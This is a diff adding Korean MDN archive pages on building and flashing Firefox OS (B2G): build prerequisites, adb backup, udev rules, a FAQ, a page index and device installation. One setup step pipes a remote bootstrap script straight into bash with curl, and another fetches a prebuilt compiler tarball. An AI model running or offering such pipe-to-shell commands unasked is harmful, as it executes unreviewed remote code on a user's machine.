분류 1의 모든 단말은 하드웨어 홈 버튼이 있어서 사용자가 홈 스크린으로 돌아갈 수 있습니다. 최근 대부분의 ICS 안드로이드 단말은 네비게이션을 위해서 화면상에 소프트웨어 홈 버튼을 사용합니다. 카메라 앱 같이 몇몇 앱에서는 하드웨어 홈버튼 없이 앱을 빠져나올 수 없습니다. 이것은 FireFox OS가 매일매일 사용하는데 부적절할 수 있게 합니다.

+
+

 

+

리눅스 요구사항

+

리눅스에서의 빌드 환경은 아래와 같습니다:

+ +

위의 사항은 단순히 최소사양이며, 가끔은 리소스가 없어서 빌드 실패가 되기도 합니다.

+

다른 리눅스 배포판에서도 빌드가 될수도 있으나, 우분투 12.04 배포판에서는 대부분의 개발자들이 빌드에 성공 했으므로 이를 추천 합니다. 아래 배포판들은 다음과 같은 이유로 빌드 되지 않을 수 있습니다.: 32 비트 디스트로 와 최신 디스트로( 우분투 12.10, 페도라 17/18, 아크 리눅스의 gcc 4.7으로 인해 오류 발생 가능성 있음).

+

그외 아래와 같은 툴들이 설치 되어 있어야 합니다:

+ +

64 비트에서의 설치 예시:

+

우분투 12.04 / 리눅스 민트 13 / 데비안 6

+
$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip
+

64비트 우분투에서 빌드할때는, 32비트 버전의 libX11.solibGL.so를 심볼릭 링크로 추가 하셔야 합니다.

+
$ sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
+$ sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so
+

우분투 12.10

+
$ sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip
+

위의 단계 외 추가로, 빌드 하기 전에 GCC 4.6를 기본 호스트 컴파일러로 설정 하여야 합니다. 소스를 가저 온 후에는 "여기" 참고 하세요.

+

최신 우분투 12.10을 설치 한후, "unmet dependenceis for ia32-libs"에러가 발생 할 것입니다. 아래와 같이 수행 하여 수정 하시기 바랍니다.

+
sudo dpkg --add-architecture i386
+sudo apt-get update
+sudo apt-get install ia32-libs
+

Fedora 16:

+
$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip
+

Fedora 17/18:

+
$ sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip
+

위와 같이 프로젝트는 컴파일 하려면 GCC 4.4가 필요합니다. 여기서 미리 컴파일된 버전을 구할 수 있으니 아래 명령을 따라 다운로드후 /opt에 설치하세요:

+
$ wget http://people.mozilla.org/~gsvelto/gcc-4.4.7-bin.tar.xz
+$ sudo tar -x -a -C /opt -f gcc-4.4.7-bin.tar.xz
+
+

이 컴파일러를 항상 호스트의 기본 컴파일러로 지정한 후에 빌드 작업을 해야합니다. 소스를 얻은 후에  here를 따라 확인해 주세요.

+

Arch Linux (not functional yet):

+
$ sudo pacman -S --needed alsa-lib autoconf2.13 bison ccache curl firefox flex gcc-multilib git gperf libnotify libxt libx11 mesa multilib-devel wireless_tools yasm lib32-mesa lib32-ncurses lib32-readline lib32-zlib
+

기본적으로 Arch 리눅스는 Python3을 사용하는데 이것을 이전 Python2로 사용해야 합니다:

+
$ cd /usr/bin
+
+$ sudo ln -fs python2 python
+

Mac OS X를 위한 요구사항

+

Mac OS X에서 Firefox OS를 빌드하기 위해서 Xcode 명령라인 도구들을 설치해야 합니다.

+

Apple's developer downloads page 에서 OS X의 특정 버전에 적절한 명령라인 도구를 바로 다운로드 해서 사용할 수 있습니다.

+

 

+

그러나 Xcode 전체를 사용하고자 하면 Mac App Store에서 설치할 수 있습니다.

+

XCode 4.3.1 이상 최신버전에서 명령라인 도구 설치하기

+

Xcode 4.3.1(OS X 10.7 "Lion")과 최신 4.4.1+(Mac OS X 10.8 "Mountain Lion")은 명령라인 도구를 포함하고 있지 않습니다. Xcode의 Preferences 메뉴로 가서 Downloads 패널로 갑니다. 이곳에서 'Command Line Tools'를 설치합니다. 설치를 위해서 최소 20 GB 공간의 여유가 있어야 합니다.

+

Screenshot of Xcode Downloads Command Line Tools

+
+ Note: Firefox OS 에뮬레이터는 Core 2 Duo 프러세스 혹은 그 이상을 요구합니다; 즉 Mac OS X 10.7 "Lion"에 호환되야 합니다. 그러나 이전 Mac OS에서도 Firefox OS를 빌드할 수는 있습니다.
+

Firefox OS Mac Bootstrap

+

터미널을 열고 아래 명령을 실행합니다:

+
curl -fsSL https://raw.github.com/mozilla-b2g/B2G/master/scripts/bootstrap-mac.sh | bash
+

It will pull and run a bootstrap script that makes sure you have all the prerequisites met to build the emulator. It will also prompt you for permission to install anything you're missing. The script will check for and install the following items:

+ +
+

Xcode

+

If you have already upgraded to Xcode 4.4+ and get the message that Xcode is outdated, check the Xcode path with:

+
xcode-select -print-path
+ If it still points to /Developer you can update the path with: +
sudo xcode-select -switch /Applications/Xcode.app
+ Next to that be sure that you have the Mac OS X 10.6 SDK available at: +
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/
+

If it cannot be found there you will need to extract and copy it from the Xcode 4.3 DMG file which is available at the Apple Developer portal. You can use the utility Pacifist to extract the 10.6 SDK. Be sure to add a symlink to it to the /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/ directory. (We can drop the 10.6 SDK requirement after bug 784227 has been fixed, and our version of platform_build has been updated.)

+

Mountain Lion

+
+

If you are building on OS X 10.8 "Mountain Lion" (Xcode 4.4.1 or later) and encounter the following error:

+
external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)
+ Edit the file: B2G/external/qemu/Makefile.android and add in line 78:
+
MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
+
+
+ If you are on Mountain Lion and you receive an error during the installation of the dependencies via homebrew, such as:
+
+
+
+
clang: error: unable to execute command: Segmentation fault: 11
+ ... try reinstalling the dependency manually adding the --use-gcc flag, for example: +
brew install mpfr --use-gcc
+
+

Samsung Galaxy S2

+

If you plan to build for the Samsung Galaxy S2, you will also need to install heimdall. See Installing heimdall for details. This is not done for you by the bootstrap script!

+
+ Note: If you have installed the Samsung Kies tool, which is used to manage the contents of many Samsung phones, you will have to remove it before you can flash Firefox OS onto your device. You can use the standard application removal process on Windows; on Mac, the Kies install disk image has a utility to fully remove Kies from your system. Flashing will not work if you have Kies installed. If you forget to remove Kies, the build system will detect it and remind you to uninstall it. Note also that the uninstall tool does not correctly remove the folder ~/Library/Application Support/.FUS, and leaves a reference to a utility there in your user startup items list. You will want to remove these manually.
+
+ Note: Mac OS X uses a case insensitive filesystem by default, which will prevent you from building Firefox OS down the road (EDITOR'S NOTE: I have never had a problem with this).  You should create a case sensitive sparse disk image work from within that directory.  To buld the case sensitive disk image:
+
hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 40g ~/firefoxos.dmg
+

Mount the drive with:

+
open ~/firefoxos.dmg
+

Change into the mouted drive with:

+
cd /Volumes/untitled/
+

Fix libmpc dependency if broken

+

gcc 4.6 was built with libmpc 0.9; if you then use homebrew to update packages, libmpc gets updated to version 1.0, but homebrew doesn't rebuild gcc 4.6 after the library version changes. So you need to create a symlink to make things work again, like this:

+
cd /usr/local/lib/
+ln -s libmpc.3.dylib libmpc.2.dylib
+

Optional: Install HAX

+

Intel provides a special driver that lets the B2G emulator run its code natively on your Mac instead of being emulated, when you're using the x86 emulator. If you wish to use this, you can download and install it. It's not required, but it can improve emulation performance and stability.

+

adb 설치

+

B2G를 단말기에 설치 하기 전에 기존에 단말기에 설치된 안드로이드를 꺼내 저장 해 두시기 바랍니다. 이 를 위해서는 adb(Android Debug Bridge)를 설치 하셔야 합니다.

+

adb를 설치 하기 위해서는 Android SDK starter package를 데스크 탑에 설치된 OS에 맞는 것을 설치 하셔야 합니다.(ADT Bundle만 설치 하셔도 됩니다). 설치 후, 패키지 메니저를 실행 하여 "Android SDK Platform-tools"를 설치 하세요.

+

adb는 $SDK_HOME/platform-tools에 설치 될 것입니다. 설치 후에는 PATH에 아래 경로를 추가 하세요.

+
PATH=$SDK_HOME/platform-tools:$PATH
+

~/.bashrc파일에 $SDK_HOME가 있으면 그 경로를 자신이 설치한 Android sdk의 경로로 대체 하세요.없을시는 환경 설정을 추가 하세요. 그리고 아래와 같이 실행 하시면 단말기의 Android 전체 system폴더의 내용을 원하는 backup target dir로 가져옵니다:

+
adb pull /system <backup target dir>/system
+
+

이는 나중에 B2G를 제거 하고 Android로 복원할 수 있습니다. 단말기에 따라 /data폴더와 /vendor폴더도 복사 해야 하는 경우도 있습니다.

+
adb pull /data <backup target dir>/data
+adb pull /vendor <backup target dir>/vendor
+
+

"권한 없음(insufficient permission)"메시지와 함께 복사가 되지 않는 경우, adb server를 제 실행 해 보거나, adb tool에 루트권한(root permissions)이 주어졌는지 확인 하세요. (eg. under CyanogenMod, change 'Settings > System > Developer Options > Root Access' to 'Apps and ADB' or 'ADB only').

+

Install heimdall

+

Heimdall is a utility for flashing the Samsung Galaxy S2. It's used by the Boot to Gecko flash utility to replace the contents of the phone with Firefox OS, as well as to flash updated versions of B2G and Gaia onto the device. You'll need it if you want to install Firefox OS on a Galaxy S2; it is not needed for any other device. For other devices, we build and use the fastboot utility instead.

+
+ Note: Again, it's important to note that this is only required for installing Firefox OS on the Samsung Galaxy S2.
+

There are two ways to install heimdall:

+ +

ccache 설정 변경

+

기본 ccache 크기는 1GB로 되어 있습니다. B2G 빌드시 이는 부족한 크기이므로 아래와 같이 크기를 변경 해야 합니다.

+
$ ccache --max-size 3GB
+

udev rule에 개발 단말기 환경 추가

+

"lsusb"를 실행하면 현재 연결된 단말기의 USB vendor ID를 보실 수 있습니다.대부분의 구글 단말기는 "18d1"이며, 삼성은 "04e8", ZTE는 "19d2"이므로 /etc/udev/rules.d/51-android.rules파일(해당 파일이 없으면 생성하세요)에 아래 "xxxx"부분에 해당 단말기의 id로 변경하여 추가 하세요.

+
SUBSYSTEM=="usb", ATTR{idVendor}=="XXXX", MODE="0666", GROUP="plugdev"
+

ZTE단말기를 예로 들면, 51-android.rules파일에 아래와 같이 추가하세요.

+
SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", MODE="0666", GROUP="plugdev"
+

위와 같이 추가 한 후에는 저장, 종료 후에 "읽기 모드"를 아래와 같이 변경해 주세요.

+
$ sudo chmod a+r /etc/udev/rules.d/51-android.rules
+
+

위와 같이 추가 한 후에는 adb명령을 수행 하면 아래와 같이 단말기를 adb에서 인식 할 수 있게 됩니다.

+
$adb devices
+List of devices attached
+123456          device
+
+ 위와 같이 단말기가 나타나지 않는다면, 해당 파일이름이 맞는지, 연결이 잘되었는지, 확인 한 후 컴퓨터를 재시작 하고 위의 명령을 수행 해 보세요.
+

단말기를 개발자 모드로 바꾸기

+

단말기를 USB에 연결하기 전에 아래와 같은 메뉴에서 단말기를 개발자 모드로 변경 하세요. 개발자 모드를 바꾸고 나면 디버깅과 단말기로 다운로드를 하실 수 있습니다. 설정(Settings) -> 단말기 정보(Device information) -> 모드 정보(Mode Information) -> 개발자(Developer) -> 개발자 모드(enable) Developer mode

+

다음 단계로

+

이제 Firefox OS코드를 가져올 단계로 넘어 가겠습니다.

diff --git a/files/ko/archive/b2g_os/firefox_os_faq/index.html b/files/ko/archive/b2g_os/firefox_os_faq/index.html new file mode 100644 index 0000000000..adf78f75aa --- /dev/null +++ b/files/ko/archive/b2g_os/firefox_os_faq/index.html @@ -0,0 +1,39 @@ +--- +title: Firefox OS FAQ +slug: Archive/B2G_OS/Firefox_OS_FAQ +translation_of: Archive/B2G_OS/Introduction +--- +
+
+ 개발자용 테스트폰 구매는 어떻게 하나요?
+
+ Geeksphone 웹 사이트로 부터 바로 구매할 수 있습니다.
+
+ 개발자용 테스트폰이 없이도 개발 가능한가요?
+
+ 물론입니다. Firefox Marketplace를 안드로이드폰에서도 테스트해 보실 수 있으며, PC 데스크톱에서 Firefox OS simulator를 이용하실 수 있습니다.
+
+ 최종 출시폰과 비교하면 어떤가요?
+
+ 일반 소비자 시장에 맞추어 몇몇 파트너들과 함게 개발중인데 좀 더 시간이 지난 후에 공개할 수 있을 것 같습니다. 
+
+ Firefox OS를 저의 폰에 설치해 볼 수 있습니까?
+
+ 다음 문서를 참고 하십시오. https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS
+
+ 제가 만든 앱을 어떻게 Firefox OS에서 테스트할 수 있나요?
+
+ 안드로이드폰의 Marketplace나 Firefox OS simulator를 이용하시면 됩니다.
+
+ Firefox OS란 무엇인가요?
+
+ 새로운 개념의 개방형 모바일 웹 운영 체제로서 웹 표준에 의해 만들어지며 Web API를 통해 HTML5 기술을 사용하여 직접 휴대폰 기능을 제어할 수 있고, 네이티브 수준의 앱 기능을 제공할 수 있습니다. 
+
+  Web API의 목록 및 표준화 정도는?
+
+ 많은 WebAPI가 Firefox OS의 초기 구현에 사용되었으며 아래 목록에서 살펴 보실 수 있습니다.   https://wiki.mozilla.org/WebAPI#APIs. =>표준화 진행 상태.
+
+ Web API는 크로스플랫폼으로 표준화가 되나요?
+
+ 그렇습니다. API는 여러 벤더들과 함께 제작하여 다양한 플랫폼을 지원하게 되며 Web App이 직접 스마트폰을 제어할 수 있도록 크로스플랫폼을 지원할 수 있는 표준 방법을 제공할 것입니다. 
+
diff --git a/files/ko/archive/b2g_os/index.html b/files/ko/archive/b2g_os/index.html new file mode 100644 index 0000000000..230fd0ce6c --- /dev/null +++ b/files/ko/archive/b2g_os/index.html @@ -0,0 +1,181 @@ +--- +title: B2G OS +slug: Archive/B2G_OS +tags: + - B2G + - B2G OS + - B2G OS 시작하기 + - Basic + - Beginner + - Firefox OS + - FirefoxOS 시작하기 + - Gaia + - Gonk + - Overview + - Starting FirefoxOS + - web based os from mozilla + - web os gecko + - 기본 + - 모질라 재단이 만든 웹 기반 OS + - 초보자 +translation_of: Archive/B2G_OS +--- +

 

+ +
B2G OS는 오픈 웹을 위한 완전하고 독립적인 운영체제입니다. B2G OS는 Mozilla 커뮤니티가 개발하는 오픈소스 프로젝트이며, Firefox OS 상품의 기반이 되고 있습니다. 2017년부터 더이상 유지보수되지 않습니다.
+ +

B2G는 스마트폰, 태블릿, 스마트 TV, 그 외 커넥티드 디바이스를 위한 오픈소스 운영체제이며, 커뮤니티에 의해 관리되고 있습니다. 이 프로젝트는 2011년에 시작됐습니다. B2G는 리눅스 커널과 Gecko 렌더링 엔진을 바탕으로 하고 있습니다. 사용자 인터페이스 전체가 웹 기술(HTML, CSS, JavsScript)로 만들어져있으며, 이 사용자 인터페이스를 통해 웹 애플리케이션을 실행하고 이용할 수 있습니다. Mozilla가 상용 Firefox OS 스마트폰 개발을 종료하면서 B2G의 스마트폰 부분은 Mozilla의 자발적 커뮤니티가 개발하게 되었습니다. 이와 함께 B2G OS로 브랜드를 바꾸게 되었습니다.

+ +

+ +

페이지 목록

+ +
+
B2G OS 테스트
+
이 페이지는 B2G OS를 테스트하는 데 필요한 정보를 제공합니다. 서로 다른 테스트의 진행, 자동화, 결과 보고 및 추적에 대한 내용이 포함됩니다.
+
B2G OS 부가기능
+
부가기능을 개발하기 위해서는 문서의 내용을 따라 진행해야 합니다.
+
B2G OS APIs
+
B2G OS API의 목록입니다.
+
B2G OS 아키텍처
+
이 글은 B2G OS 플랫폼의 아키텍처에 대한 고수준 개요 글입니다. 주요 특징을 설명하고 각 구성요소가 기초 수준에서 어떻게 상호작용하는 지 설명합니다.
+
B2G OS build prerequisites
+
단순히 Gaia의 빌드를 시도하고 있는 것뿐이라도, B2G OS를 빌드하기 위해 코드를 얻기 전 빌드 시스템을 제대로 설정해야 합니다. — 이 페이지는 그 방법을 설명합니다. 현재 빌드를 지원하는 OS는 64비트 리눅스 및 macOS입니다.
+
B2G OS 단말기 가이드
+
이 글은 B2G OS를 구동하는 단말기에 대한 개발자 정보를 제공합니다. 개발자 단말기 및 소비자용 단말기 모두 포함되어 있습니다.
+
B2G OS의 빌드와 설치
+
이 페이지에 나열된 글은 B2G OS를 에뮬레이터나 호환 기기에서 빌드하고 설치하는 방법, 혹은 Gaia 사용자 인터페이스를 Firefox 브라우저에서 빌드하고 설치하는 방법을 안내할 것입니다.
+
B2G OS 빌드하기
+
빌드 시스템을 설정하고, 코드의 초기 pull 작업 및 설정 작업을 진행하면, Boot to Gecko를 빌드할 수 있게 됩니다. 이 설명서는 어떻게 B2G OS를 빌드하는 지 설명합니다.
+
Building the B2G OS Simulator
+
Just like Firefox Nightlies, the B2G OS simulator desktop client (identified by b2g-) is automatically built every day from the latest source code. The latest build is available from the Mozilla FTP server. Be sure to pick the latest version and the right archive for your operating system. This lets you bypass having to build it yourself. In addition, you don't have to download Gaia on your own either.
+
Choosing how to run Gaia or B2G
+
Depending on your specific needs, you have an assortment of options to consider when experimenting with Firefox OS or the Gaia user interface. You can choose among the following options; each has its advantages and disadvantages to consider, and some are more flexible than others.
+
Crash Reporting Guide for Firefox OS Partners
+
Mozilla has a world-class system for collecting, analyzing, and fixing crashes and other stability issues such as hangs. Firefox OS partners need to work with Mozilla to correctly enable crash reporting and upload symbols.
+
Customization with the .userconfig file
+
The .userconfig file isn't checked into source code control, so your changes won't be overwritten when you update your source tree. It needs to be created in the root of the B2G tree; that is, in the same directory as flash.sh, build.sh, and so forth. You should add this before you run your config and build steps.
+
Debugging on Firefox OS
+
There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.
+
Developer Mode
+
The current Firefox OS permissions model precludes modification and installation of certified/internal apps, which makes some device APIs completely unavailable to Marketplace and web apps. Developer Mode (DM) allows the user to indicate that they would like to relax the permissions model and expose all device APIs to content, as well as setting a group of related preferences. This article provides a high-level overview.
+
Developing Firefox OS
+
This section provides useful documentation covering different ways in which Firefox OS (codename Boot2Gecko, or B2G) can be modified/customized during the build process, and how you can help to develop the low level platform areas such as Gecko and Gonk.
+
Firefox OS apps
+
This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.
+
Firefox OS board guide
+
This section contains developer information relevant to specific phones that run Firefox OS — both developer and consumer devices.
+
Firefox OS developer release notes
+
This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.
+
Firefox OS security
+
The following articles cover security-related topics about Firefox OS. This includes overall security features as well as application security and how the install process is kept secure.
+
Firefox OS Simulator
+
The Firefox OS Simulator is a version of the higher layers of Firefox OS that simulates a Firefox OS device, but runs on the desktop. This means that in many cases, you don't need a real device to test and debug your app. It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.
+
Firefox OS usage tips
+
Explains all of the developer features on the phone and what they do (Settings > Device information > More information > Developer)
+
Gaia
+
Gaia is B2G OS's user interface and suite of default apps: it includes the lock screen, home screen, dialer, and other applications. Essentially, Gaia is a set of complex web apps that runs on top of the B2G OS platform. This set of articles covers all you need to know to contribute to the Gaia project.
+
Installing B2G OS on a mobile device
+
Once you've built Boot to Gecko for a supported mobile device, you can install it. This article will guide you through the process.
+
Introduction to Firefox OS
+
This set of documentation is aimed mainly at web developers and platform developers who want to learn how Firefox OS works, how to contribute to the project, and how to build their own custom versions of the software and install it on devices. For those who want to create and distribute their own web apps, the App Center and Marketplace Zone are good places to go.
+
Mulet
+
Following this guide you're going to run Gaia inside of a special build of Firefox called Firefox Mulet. This gives you the advantages of having a rapid development cycle, as well as standard web development tools and debuggers available to work with. First of all, you need to have the Gaia repo cloned on your machine and build your own profile. Then, you have to install mulet and run it, passing your Gaia profile as the profile to use.
+
Open web apps quickstart
+
Quickstart information on coding Open Web Apps.
+
Pandaboard
+
This is a guide to setting up Firefox OS on a PandaBoard. The PandaBoard is a low-cost OMAP 4 based development board for developing mobile operating systems.
+
PasscodeHelper Internals
+
PasscodeHelper is a Gaia helper library for modifying and checking the Firefox OS lockscreen passcode (i.e., pin) from within Gaia, performing functions such as checking whether an entered passcode is correct, and changing the code. This article documents how PasscodeHelper works.
+
Porting B2G OS
+
This page lists the available resources for porting B2GOS.
+
Preparing for your first B2G build
+
Depending on your internet connection, the configuration steps may take several hours to download everything you need to build B2G OS. Waiting is not as fun as doing, so after you have read through this page and have kicked off the configure script, consider using the time to set up and try out the B2G OS simulator, begin familiarizing yourself with Documentation for app developers including Designing and Building an App, or familiarize yourself with the information on upcoming steps.
+
Resources
+
Resources for App hackers, as generated from our workshops
+
Running tests on Firefox OS: A guide for developers
+
If you are a Gecko developer, then you should review the Firefox OS-specific documentation for the test automation you are already familar with: mochitest, reftest, and xpcshell.
+
The B2G OS platform
+
The B2G OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on B2G OS, if you're working on developing or porting the platform — or are simply curious — the following documentation may be of interest to you.
+
Troubleshooting B2G OS
+
This article provides tips for resolving common problems you may have while using B2G OS.
+
Using the App Manager
+
The App Manager is a tool for Firefox Desktop which provides a number of useful tools to help developers test, deploy and debug HTML5 web apps on Firefox OS phones & Simulator, directly from Firefox browser. This page documents how to use the App Manager.
+
Using the B2G emulators
+
This article provides a brief guide to some key things you should know when using the boot to Gecko emulators. This doesn't appear to be a complete user manual; instead, it simply tells you a few useful things that you might not learn on your own.
+
Web applications
+
This page is intended to be a first, non thorough, attempt to collect web apps.
+
Web Bluetooth API (Firefox OS)
+
The Web Bluetooth API lets an open web app discover, pair with, and connect to Bluetooth devices. As it is a completely experimental and non-standard API, the Bluetooth API is currently available for certified applications only. However, there is some traction to have such an API available for regular Web content; this will be discussed as part of the W3C's System Applications Working Group.
+
Web Telephony API
+
Web Telephony is an API that makes it possible for web content to handle voice phone calls using JavaScript.
+
+ +
+

오래된 페이지 항목

+ +
+
+

주목: 더 많은 사람들을 참여시키기 위해 공헌 요청앱 채택 요청 문서가 있습니다. 공유해주세요!

+
+ +

여러분의 도움이 필요한 곳

+ + +
+ +
+

참여하기

+ + +
+ +
+

지원 디바이스

+ +

B2G OS가 구동되는 지원 스마트폰 정보:

+ + + +

더 자세한 사항은 여기에서.
+ B2G installer를 이용하면 쉽게 설치할 수 있습니다.
+ 여러분의 디바이스가 목록에 없나요? 데스크탑에서 Mulet 를 써보세요.

+
+
+ +
+

주목: 오래된 몇몇 페이지는 MDN Archive로 이동되었습니다. 예전 문서는 아카이브에서 확인해주세요. 아카이브에서 되돌려져야할 문서가 있으면 알려주세요.

+
diff --git a/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html b/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html new file mode 100644 index 0000000000..3269212b44 --- /dev/null +++ b/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html @@ -0,0 +1,61 @@ +--- +title: 단말기로 Firefox OS 다운로드 하기 +slug: Archive/B2G_OS/Installing_on_a_mobile_device +translation_of: Archive/B2G_OS/Installing_on_a_mobile_device +--- +

+
+ 중요: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/26)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+

일단 Boot to Gecko의 빌드가 완료 되고 나면 단말기로 인스톨 할수 있게 됩니다.여기서는 이와 같은 과정에 대해 설명 하도록 하겠습니다.

+
+ Note: 처음 단말기로 Firefox OS를 다운로드 해 넣을 경우 반드시 해당 단말기의 OS가 안드로이드 4 (아이스크림 샌드위치)이어야 합니다. 그렇지 않을 경우 제대로 다운로드가 되지 않을 것입니다. 그러나 한번 B2G를 다운로드 하고 나면 그 다음 부터는 단순하게 맨위 업데이트 부터 진행 하시면 됩니다.
+

폰으로 다운로드 하기

+

폰으로 다운로드 하는 방법은 단순하게 단말기를 연결 한 후 아래와 같이 수행 합니다.

+
./flash.sh
+
+

이게 다입니다. 막 빌드 완료한 당신의 B2G 이미지가 당신의 폰으로 들어갔습니다.

+

udev rule에 단말기 환경 설정

+

리눅스에서 아래와 같은 메시지가 나타난다면,

+
< waiting for device >
+

아마도 udev rule에 단말기 정보 추가 하는 것을 잊어 버린 것이 아닌지 확인 해보세요. "lsusb"를 실행해 보면 단말기의 USB vendor ID를 확인 할 수 있으니 아래와 같이 추가하세요. 대부분의 구글단말기 ID는 18d1입니다. 구글 ID로 추가 하는 아래 예시를 참고하세요.

+
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
+
+ 주의 1: 리눅스에서 'libusb error "-3"'가 발생한다면 루팅 권한이 필요하다는 의미 입니다.  '>sudo ./flash.sh'를 입력 해 보세요.
+
+ 주의 2: 만약 타겟 단말기가 우나기라면, udev rule에 단말기 vendor ID와 구글 ID 두가지를 다 추가 하세요.
+

삼성 Galaxy S2 단말기인 경우 특별한 주의사항들

+

만약 타겟 단말기가 Galaxy S2이고 heimdall 1.3.2 버젼 (가장 최근 버젼임. 버젼 확인은 hiemdall version 명령어 사용) 을 사용한다면, "Heimdall flashing failed" 메시지 이후에 "FACTORYFS upload failed!" 메시지를 포함한 추가적인 정보가 출력되는 것을 보실수도 있습니다. 이 메시지는 uploading이 성공한 경우이니, 해당 경고 메시지는 무시하셔도 됩니다.

+

이 비정상적인 행동을 제거하기 위해서는 heimdall의 1.3.1의 release된 source copy를 얻은 후에 ("git checkout fbbed42c1e5719cc7a4dceeba098981f19f37c06" 명령어 사용), README file의 정의에 따라 컴파일을 하십시요. 컴파일 이후에 install을 하시면 그 에러 메시지는 사라질 것입니다. 하지만, 이 방법은 강력하게 요구되어지는 않습니다.

+

Heimdall 도구의 모든 version에서 100MB 보다 큰 system.img 화일을 update를 할 수는 없습니다. 따라서 굽기 전에 다음 명령어를 실행하여 build된 system.img 화일의 크기를 확인해야 합니다. 만약 크기가 너무 크다면 IRC 내에서 문의하시기 바랍니다. 크기가 큰 경우에는 두 단계로 update를 분리할 수 있는 방법들이 있습니다.

+
ls -l ./out/target/product/galaxys2/system.img
+
+

Samsung Galaxy S2의 추가 작업

+

Galaxy S2로 작업 할 경우, 다음과 같은 추가 작업이 필요합니다. Galaxy S2는 flash.sh script를 통해 Gaia는 다운로드가 되지 않습니다. 따라서 아래와 같이 추가 작업을 실행 해야 합니다.

+
./flash.sh gaia
+
+

특정 영역 다운로드 하기

+

Samsung Galaxy S2를 제외한 다른 모든 단말기에서 특정 영역을 다운로드 하려면 아래와 같이 하세요.

+
./flash.sh system
+./flash.sh boot
+./flash.sh user
+
+

특정 모듈 다운로드 하기

+

아래와 같이 특정 모듈이름으로 B2G의 특정 모듈만 다운로드도 가능합니다.

+
./flash.sh gaia
+./flash.sh gecko
+
+

특정 어플리케이션만 업데이트 하려면 환경 설정 변수 BUILD_APP_NAME 를 통해서 가능합니다.

+
BUILD_APP_NAME=calendar ./flash.sh gaia
+

다음 단계

+

이 단계에서, 당신의 타켓은 Boot to Gecko!를 실행시킬 수 있을 것입니다. 이제 실험하고, 코드를 작성하고, 테스트 하고 디버깅을 하실 시간입니다.

+
+ Note: 도움이 되는 사용 팁 : 만약 타켓이 잠겨있어서 타겟의 잠금을 해제할 필요가 있을 때는 default 숫자는 0000 입니다.
+

문제 해결방법

+

B2G를 설치한 후에 타겟이 정상적으로 동작하지 않는 경우에 대비하여 몇 가지 tip을 알려 드립니다.

+

UI가 시작되지 않는다면

+

만약 당신의 타겟이 update되고, UI가 정상적으로 실행되지 않는다면, 오래된 configuration을 초기화 할 수 있습니다. 다음은 그 방법입니다.

+
cd gaia
+make reset-gaia
+
+

./flash.sh 실행 후에 "image is too large" 에러 메시지가 출력되는 경우

+

이 메시지는 이미지를 flash에 writing하기 전에 당신의 타겟이 rooting될 필요가 있음을 뜻할 수 있습니다. b2g는 root partition 영역에 data를 writing 할 필요가 있으므로 당신의 타겟은 b2g image를 정상적으로 설치하기 위해서 rooting 되어져야 합니다.

diff --git a/files/ko/archive/b2g_os/introduction/index.html b/files/ko/archive/b2g_os/introduction/index.html new file mode 100644 index 0000000000..17dc0720e9 --- /dev/null +++ b/files/ko/archive/b2g_os/introduction/index.html @@ -0,0 +1,83 @@ +--- +title: Firefox OS 소개 +slug: Archive/B2G_OS/Introduction +translation_of: Archive/B2G_OS/Introduction +--- +

Firefox OS ( "Boot to Gecko" 혹은 "B2G" 라는 코드네임)는 Linux와 Mozilla의 Gecko 기술을 기반으로 한 Mozilla의 오픈 소스 모바일 운영체제입니다. 기본적인 생각은 스마트폰 위에서 동작하는 사용자가 접근 가능한 모든 소프트웨어는 웹 기반 앱이며, 진화한 HTML5 기술을 사용하고 JavaScript가 기기 API를 이용해 스마트폰의 하드웨어에 직접 접근 합니다.

+

